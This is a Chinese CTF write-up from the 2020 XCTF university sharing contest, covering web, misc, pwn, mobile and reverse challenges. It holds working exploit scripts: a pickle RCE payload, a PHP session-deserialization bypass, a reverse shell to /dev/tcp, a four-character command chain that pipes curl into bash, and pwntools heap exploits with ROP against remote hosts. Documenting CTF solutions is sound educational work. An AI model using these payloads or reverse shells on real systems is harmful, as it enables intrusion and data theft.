2020高校战役XCTF分享赛
新春分享赛2020 (天璇Merak) web sqlcheckin 考虑万能密码。 webtmp 考察python反序列化 读源码可知需要覆盖name和category 且需要避免使用R指令码,网上可以搜到使用C指令码来绕过执行RCE 构造payload: s3 = b"\x80\x03c__main__\nsecret\n}(Vname\nVhaha\nVcategory\nVgaga\n
新春分享赛2020 (天璇Merak)
web
sqlcheckin
考虑万能密码。

webtmp
考察python反序列化
读源码可知需要覆盖name和category
且需要避免使用R指令码,网上可以搜到使用C指令码来绕过执行RCE
构造payload:
s3 = b"\x80\x03c__main__\nsecret\n}(Vname\nVhaha\nVcategory\nVgaga\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00hahaX\x08\x00\x00\x00categoryX\x04\x00\x00\x00gagaub."
print(base64.b64encode(s3).decode())
Hackme
www.zip源码泄露
搞这个
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
然后就有这个
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}
那么要搞这个
<?php
require_once('init.php');
class upload_sign
{
public $sign;
public $admin = 0;
public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}
public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}
public function checksign($sign)
{
return true;
}
}
$a = new upload_sign();
$a->upload();
利用
ini_set('session.serialize_handler','php_serialize');
这个特性
getSign 填"|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:5:"ekixu";}"
搞定admin,然后
./sandbox/2e38c4c054844d7085d096046b5b8258 <?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
然后要拼接一个只能一次4个字符的shell出来。
在主机上搞shell
bash -i >& /dev/tcp/<ip>/1029 0>&1
exp:
import requests
from time import sleep
from urllib import quote
import base64
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl <IPHEX> | ba sh;"
#
'>\;',
'>sh\\',
'>ba\\',
'>\|\\',
'>XX\\',
'>XX\\',
'>XX\\',
'>XX\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\',
'sh x',
'sh g',
]
for i in payload:
assert len(i) <= 4
header ={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
"Cookie":"PHPSESSID=1af6e5b03d0df7c07ae2e548bd44183c"
}
data ={
"url":"compress.zlib://data:@127.0.0.1/plain;base64,"+base64.b64encode(i)
}
r = requests.post(url='http://121.36.222.22:88/core/index.php',data=data,headers=header)
print r.text
print i
sleep(0.1)
>

Misc
签到
就不提了
隐藏的信息
给了一张没有定位符的二维码
扫码之后却什么都么得,给了个flag不在这里。
但是winhex看的话里面有一句use base64
接下来,压缩包发现是伪加密
用频谱图发现前后都有电话音,
那么放到网站上解密。http://dialabc.com/sound/detect/
得到数字 187485618521
之后base64加密
flag{MTg3NDg1NjE4NTIx}
ez_mem&usb
得到的是流量包,usb流量分析,可以从中dump下来.vmem文件
标准用volatility分析。。。

搞出flag.img

密码在命令行中

得到了usb keyboard scan code
解码即可

简单Misc
能够得到解压密码
EPIDEMICSITUATIONOFUNIVERSITYWAR
解出文本base64一下即可
flag{Th1s_is_FlaG_you_aRE_rigHT}
武汉加油
工具:x64dbg + sharpOD插件
这misc是vmp壳加密的,其中vmp保护全开,开了防dump+防文件修改
尝试过vmware暂停后提取vmem然后扔进volatility做硬核dump然后失败了...
看了网上的视频教程才来尝试动态调
网上搜sharpOD下载完了直接扔x64dbg的插件目录里就ok了,然后进x64dbg把sharpOD的所有选项都选上

然后F9跑起来,在可执行文件里写点什么然后回车,然后再栈帧里面找自己敲过的东西。
联想到栈帧知识,怀疑是scanf,开始找标志

看到了%s 追到调用返回地址0x401EC7,那就是你了!

随便敲点什么回车,把6个%s读完就断下来了
看到下面有判断读入多少个字符串,如果真则跳上去,如果假就返回了。为了找到真实的对比逻辑,就让他向上跳。
单步下去发现有大跳,根据破解的经验,有大跳的话另一个分支的很重要

这里把flags中的Z位改成0不让它跳

看到小跳不要慌,看跳转逻辑

指来指去也就跳到这附近,那就不用管让它跳

又有大跳,那就不让它跳,之后碰到了for逻辑,就感觉离成功不远了。

全都执行完了,回到刚才下的断点,回去看一眼窗口,答案就出现了。

PWN
ezhacker
文件里就有flag.txt
应该是出错题了。
woodenbox
house of roman
# -*- coding: utf-8 -*-
import sys
import os
import os.path
from pwn import *
context.log_level = 'debug'
# context.timeout = 3
context.terminal = ['mate-terminal', '-x', 'sh', '-c']
#context(os="linux", arch="i386", log_level="debug", timeout=3)
'''
rdi,rsi,rdx,rcx,r8和r9
'''
if len(sys.argv) > 2:
DEBUG = 0
HOST = '121.36.215.224'
PORT = 9998
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
else:
PATH = './woodenbox3'
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.30.so')
def choose(s):
p.sendafter('Your choice:', str(s))
def add(le, name):
choose(1)
str1 = p.recv(8)
if (str1.startswith('invaild')):
raise EOFError
p.sendafter('item name:', str(le))
p.sendafter('Please enter the name of item:', str(name))
# return str
def edit(index, lengt, name):
choose(2)
p.sendafter('Please enter the index of item:', str(index))
p.sendafter('Please enter the length of item name:', str(lengt))
p.sendafter('Please enter the new name of the item:', str(name))
def remove(index):
choose(3)
p.sendafter('Please enter the index of item:', str(index))
# print/x (void*)$rebase(0x202170) chunk a
# print/x (void*)$rebase(0x202168) chunk b
# x/30xg $rebase(0x2020a0) itemlist
# x/30xg $rebase(0x202160)
# add-symbol-file-all ./libc.so.6 0x7ff7175b3000
# 之前有chunkA和chunkB... 不过没有被free应该没关系吧
def exp():
chunkB = 'B' * 0x68 + p64(0x41)
res = add(1, '0')
add(1, '0')
add(1, '0')
add(1, '0')
add(0xe8, '0')
index_base = 5
add(0x88, '0') # 0x20 A
add(0xa8, chunkB) # 0xd0 B
add(0x18, '2') # 0x20 C
# chunkB free了再搞回来, 顺便低字节改写到malloc_hook的fake_chunk
remove(index_base+1)
index_base -= 1
# x/50xg &__malloc_hook-0x10
# malloc_hook 0x7ffff7dd1b10
# 0x7fff7d1af5 可以出现合法chunk_size
# chunk的指针还要靠前8字节?, 在1aed
# chunkB fd= 0x7f8b66552b78
add(0xa8, '\xed\x1a')
add(0x65, '3') # D
add(0x65, '4') # E
# add(0x65, '5')
# 改chunkB的size
chunkA= 'A' * 0x88 +'\x71'
edit(index_base+0, len(chunkA)+10, chunkA)
remove(index_base+3) #free D
index_base -= 1
remove(index_base+4) #free E
index_base -= 1
# 改E的fd到B
# chunkB: 0x555555757200 chunkC: 0x5555557572d0
# chunkE的fd原来是指向D的
# 它们相差了f0, 只能修改A大小让他们只有低字节不同,D的低字节是f0-->B的低字节是00 这里还是1/16的可能性!!
chunk2='3' * 0x18 + p64(0x71) + 'D'*0x68 + p64(0x71) + '\x00'
edit(index_base+2, len(chunk2)+10, chunk2)
# 修复fastbin???
# TODO
# 删掉不用的chunk, 为3连malloc准备??
add(0x65, '4') # E
add(0x65, '1') # B
# malloc_hook
# 0x7f8b66552af5 是size域, +8是内容域, 0x7f8b66552b10是hook, 要0x13的padding, 似乎踩在memaline_hook和realloc_hook上
# onegadget是 0x45216(rax=0), 0x4526a, 0xf02a4, 0xf1147
# libcbase: 0x7ffff7a0d000---> 7FFF F7AF D2A4
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
# 2:7FFF F7A5 226A 3:7FFF F7AF D2A4 4: 7FFF F7AF E147
padd = 'n' * 0x13 + "\xa4\xd2\xaf" # 检查一下malloc_hook的位置
padd2 = 'n' * 0x13 + "\x6a\x22\xa5"
padd4 = 'n' * 0x13 + '\x47\xe1\xaf'
add(0x65, '\x00') # Hook
remove(index_base)
index_base -= 1
unsorted_payload = 'u'*0xe8 + p64(0x91)+ p64(0) + '\x00\x1b'
edit(index_base-1, len(unsorted_payload)+10, unsorted_payload)
add(0x88, 'ha') # -1
edit(index_base+5, len(padd)+10, padd)
# gdb.attach(proc.pidof(p)[0], "b *$rebase(0x104a)")
# choose(1)
# p.sendafter('Please enter the length of item name:', '1')
# x/30xg $rebase(0x2020a0)
remove(2)
pay = '\x00' *0x68
edit(4, len(pay), pay)
remove(4)
p.recv()
p.sendline('cat flag')
return p.recvline()
# p.interactive()
DEBUG=0
HOST = '121.36.215.224'
PORT = 9998
while (1):
try:
if not DEBUG:
p = remote(HOST, PORT)
else:
p = process(PATH)
if len(exp()) != 0:
break
except EOFError:
p.close()
continue
easyheap
add的值>0x400的时候会申请一个未初始化的块,uaf,劫持atoi_got
# -*- coding:utf-8 -*-
from pwn import *
from pwn_debug import *
from LibcSearcher import *
debug = 0
filename='./easyheap'
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
context.terminal=['/usr/bin/tmux','new-window']
#elf=ELF(filename)
context.log_level = 'debug'
if debug:
p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'})
else:
p=remote('121.36.209.145',9997)
def vi():
if debug:
gdb.attach(p)
def chose(c):
sla('Your choice:\n',str(c))
def add(s,c='\x00'):
chose(1)
sla('How long is this message?\n',str(s))
if s<=0x400:
sa('What is the content of the message?\n',c)
def free(i):
chose(2)
sla('What is the index of the item to be deleted?\n',str(i))
def edit(i,c):
chose(3)
sla('What is the index of the item to be modified?\n',str(i))
sa('What is the content of the message?\n',c)
free_got=0x602018
atoi_got=0x602050
puts_plt=0x400670
puts_got=0x602020
bss=0x6020d8
add(0x18)
add(0x18)
free(0)
add(0x401)
add(0x18)
p1=p64(0)+p64(0x21)
edit(0,p1+p64(bss))
edit(2,p64(puts_got))
edit(0,p1+p64(free_got))
edit(2,p64(puts_plt))
free(3)
p.recvline()
puts_addr=u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)
obj=LibcSearcher('puts',puts_addr)
base=puts_addr-obj.dump('puts')
sys_addr=base+obj.dump('system')
edit(0,p1+p64(atoi_got))
edit(2,p64(sys_addr))
sla('Your choice:\n','/bin/sh')
p.interactive()
p.close()
lgd
trunk的可写入字节数等于add中的第二个参数字节个数,堆溢出,unlink,got表泄露libc(开始试着泄露main_arena+88发现地址有点问题),因为有 prctl(22, 2LL, &v1); ,所以hooksystem和execve这些都不可用,故用任意读写查看libc中保存的栈位置,
改栈rop,read(open('flag',0),bss,0x80);write(1,bss,0x80);
#coding:utf-8
from pwn import *
#from pwn_debug import *
debug = 0
filename='./pwn'
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
#context.terminal=['/usr/bin/tmux','new-window']
elf=ELF(filename)
context.log_level = 'debug'
if debug:
p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'})
else:
p=remote('121.36.209.145',9998)
def vi():
if debug:
gdb.attach(p)
def chose(c):
sla('>> ',str(c))
def add(l,c):
chose(1)
sla('______?\n',str(l))
sa('start_the_game,yes_or_no?\n','a'*c)
def free(i):
chose(2)
sla('index ?\n',str(i))
def view(i):
chose(3)
sla('index ?\n',str(i))
def edit(i,d):
chose(4)
sla('index ?\n',str(i))
sa('___c___r__s__++___c___new_content ?\n',d)
def write(addr,c):
edit(3,p64(addr))
edit(0,c)
def watch(addr):
edit(3,p64(addr))
view(0)
return u64(p.recv(6).ljust(8,'\x00'))
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
#payload = 'a' * 0x80 + fakeebp #填充垃圾字符串
csu_end_addr=0x4023aa
csu_front_addr=0x402390
payload = ''
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
#payload += p64(last)
return payload
sla('what is your name? \n','aabbcc')
add(0x18,0x200)
add(0x80,0x80)
add(0x18,0x80)
free(1)
edit(0,'a'*0x1f+'b')
view(0)
p.recvuntil('b')
main_arena=u64(p.recv(6)+'\x00\x00')-0x58
malloc_hook=main_arena-0x10
base=malloc_hook-0x3c4b10
free_hook=base+0x3c67a8
sys=base+0x38c40
free_got=0x602f98
#45216
#4526a
#f02a4
#f1147
one=base+0x4526a
print hex(malloc_hook)
edit(0,'a'*0x18+p64(0x91))
add(0x80,0x80)
add(0x100,0x200)
add(0x100,0x80)
bss=0x6032f8
p1=p64(0)+p64(0x100)+p64(bss-0x18)+p64(bss-0x10)+p64(0x100)+p64(0x110)
p1=p1.ljust(0x100,'a')
p1+=p64(0x100)+p64(0x110)
edit(3,p1)
free(4)
view(3)
heap=u64(p.recv(3).ljust(8,'\x00'))
edit(3,p64(free_got))
view(0)
''''''
free_addr=u64(p.recv(6)+'\x00\x00')
print hex(free_got)
base=free_addr-0x844f0
sys=base+0x45390
free_hook=base+0x3c67a8
env=base+0x3c6f38
open=base+0xf7030
read=base+0xf7250
write_addr=base+0xf72b0
stack=watch(env)
print hex(stack)
print hex(watch(stack-0x208))
write(0x6034f0,'r\x00')
write(0x6034e0,'./flag\x00')
write(0x6034d0,p64(open))
write(0x6034c0,p64(read))
write(0x6034b0,p64(write_addr))
rop=csu(0,1,0x6034d0,0,0,0x6034e0)+csu(0,1,0x6034c0,0x80,0x603500,3)+csu(0,1,0x6034b0,0x80,0x603500,1)
print hex(len(rop))
vi()
write(stack-0xe5d8+0xe3b8,rop)
''''''
p.interactive()
p.close()
Shortest_path
通过uaf把ptr[0]这个站点的buf指针改成指向s字符串("/bin/cat flag"),再通过SPFA函数中的队列覆写判断0号站点是否存在的dword_606F60[0]数组元素为非0(目的是能够查询ptr[0]),最后查询站点0信息,在打印buf时即可获取flag。
原本考虑到加边时保存边长的数组存在越界,因为理论可以无限加重边使得dword_6036C0下标可以为任意值,但是这种做法会导致dword_602720数组越界而改变dword_6036C0的值,所以dword_6036C0的理论上限为1000。同时,这种做法会覆盖s字符串,所以无效。
详见exp:
#coding:utf-8
from pwn import *
path = './Shortest_path'
local = 0
attach = 0
#P = ELF(path)
context(os='linux',arch='amd64')
context.log_level = 'debug'
if local == 1:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('121.37.181.246',19008)
def add(index,price,nameSize,name,stationNum): #添加站点的函数
p.sendlineafter("options ---> ","1")
p.sendlineafter("ID: ",str(index))
p.sendlineafter("Price: ",str(price))
p.sendlineafter("Length: ",str(nameSize))
p.sendafter("Name: \n",name)
p.sendlineafter("connected station: ",str(stationNum))
def delete(index): #删除站点的函数
p.sendlineafter("options ---> ","2")
p.sendlineafter("ID: ",str(index))
def showInfo(index): #查询信息函数
p.sendlineafter("options ---> ","3")
p.sendlineafter("ID: ",str(index))
def findRoute(source,target): #SPFA函数
p.sendlineafter("options ---> ","4")
p.sendlineafter("Station ID: ",str(source))
p.sendlineafter("Station ID: ",str(target))
def addRoute(station,distance): #加边函数
p.sendlineafter("Conected station ID: ",str(station))
p.sendlineafter("distance: ",str(distance))
def build(node): #批量构造图的函数
p.sendlineafter("---> ", "1")
p.sendlineafter(": ", str(node))
p.sendlineafter(": ", "1")
p.sendlineafter(": ", "1")
p.sendlineafter(": \n", "A")
p.sendlineafter(": ", "26")
for i in range(3, 30):
if i == node:
continue
p.sendlineafter(": ", str(i))
p.sendlineafter(": ", "-1")
add(0,10,0x20,'\x00'*1,0)
add(1,10,0x20,'\x11'*1,0) #创建两个节点,注意申请的内存大小要大于0x10
delete(0)
delete(1) #free,造成uaf漏洞
add(2,10,0x10,p64(0)+p64(0x6068E0),0) #申请新节点,使得buf被分配为原来ptr[0]的内存块。修改其为s字符串地址
for i in range(3, 30): #构造特殊的满图,即每个点与另外所有点(0,1,2除外)相连,为了保证SPFA的时候队列足够长,
build(i)
p.sendlineafter("> ", "4")
p.sendlineafter(": ", "3")
p.sendlineafter(": ", "29") #查询3-29号点距离,此数据为调试后得到的
#gdb.attach(p)
showInfo(0) #查询0号节点信息,即可得到flag
p.interactive()
Mobile
拿到手的apk开始分析


里面有个hmac签名验证,直接用java写就ok

构造了json对象之后就开始研究如何利用它返回shell
看到了wget,也看到了直接做字符串拼接,就想会不会是广义上的sql注入,然而runtime.exec()打破了我的幻想,之后开始老老实实的研究wget
wget里有个参数是--post-file,可以通过post方式向上传文件
再加上https://github.com/xl7dev/Exploit/blob/master/Wget/wget-exploit.py
这个洞其实没法用,但是它搭了一个能收post的服务器这个就很好,然后尝试上传flag文件
然而直接wget xxx/xx --post-file flag却没用,最后才想到会不会flag不在当前目录下。
最后根据安卓应用目录结构推出flag在/data/data/com.xuanxuan.getflag/files/下
最后payload

Reverse
天津gai
#include<cstdio>
#include<cctype>
using namespace std;
unsigned char target[19]={17,8,6,10,15,20,42,59,47,3,47,4,16,72,62,0,7,16};
char key[]="Rising_Hopper!";
void testKey(int idx)
{
for(unsigned char i=0;i<=255;i++)
{
if(!isprint(i))
continue;
unsigned char v=~(i & key[idx % 14]) & (i | key[idx % 14]);
if(v==target[idx])
{
printf("%c",i);
return;
}
}
}
int ans[100]={0x1EA272,0x206FC4,0x1D2203,0x1EEF55,0x24F111,0x193A7C,0x1F3C38,0x21566D,0x2323BF,0x2289F9,0x1D2203,0x21098A,0x1E08AC,0x223D16,0x1F891B,0x2370A2,0x1E558F,0x223D16,0x1C883D,0x1F891B,0x2289F9,0x1C883D,0xEB773,0xE6A90,0xE6A90,0xE6A90,0xB1CCF,0x1C883D,0x2289F9,0x22D6DC,0x223D16,0x21566D,0x21098A,0x1EEF55,0x1E558F,0x223D16,0x1C883D,0x22D6DC,0x1F3C38,0x1D2203,0x21098A,0x1C883D,0x24A42E,0x1E558F,0x223D16,0x21566D,0xD83E7,0x21566D,0x21098A,0x1E558F,0x258AD7};
void testFlag(int idx)
{
for(unsigned char i=0;i<=255;i++)
{
if(!isprint(i))
continue;
int v=19683*i%0x8000000B;
if(v==ans[idx])
{
printf("%c",i);
return;
}
}
}
int main()
{
for(int i=0;i<18;i++)
testKey(i);
puts("");
for(int i=0;i<51;i++)
testFlag(i);
return 0;
}
graph
#include<cstdio>
#include<cctype>
using namespace std;
int value[32]=
{0x34,0x2,0x2C,0x2A,0x6,0x2A,0x2F,0x2A,
0x33,0x3,0x2,0x32,0x32,0x32,0x30,0x3,
0x1,0x32,0x2B,0x2,0x2E,0x1,0x2,0x2D,
0x32,0x4,0x2D,0x30,0x31,0x2F,0x33,0x5};
int way1[32]=
{0x1,0x8,0x7,0x17,0x9,0x13,0x1F,0x17,
0x9,0x0D,0x0C,0x1D,0x0A,0x18,0x9,0x18,
0x19,0x9,0x1A,0x3,0x16,0x6,0x11,0x0D,
0x7,0x0F,0x14,0x1,0x10,0x4,0x0B,0x1F};
int way2[32]=
{0x2,0x2,0x1,0x12,0x7,0x2,0x1A,0x0D,
0x4,0x0A,0x4,0x15,0x0E,0x1,0x0,0x0E,
0x5,0x7,0x1C,0x0C,0x1C,0x0F,0x0F,0x2,
0x10,0x17,0x1E,0x17,0x13,0x9,0x16,0x1F};
int saves[32];
bool find=false;
void dfs(int node,int val,int step)
{
if(!isprint(val) || find)
return;
saves[step]=val;
if(step==16)
{
if(node==0x1F)
{
printf("flag{");
for(int i=1;i<step;i++)
printf("%c",saves[i]);
puts("}");
find=true;
}
return;
}
int w1=way1[node],w2=way2[node],dval=value[node];
dfs(w1,val-dval,step+1);
dfs(w2,val+dval,step+1);
}
int main()
{
dfs(0,'0',0);
return 0;
}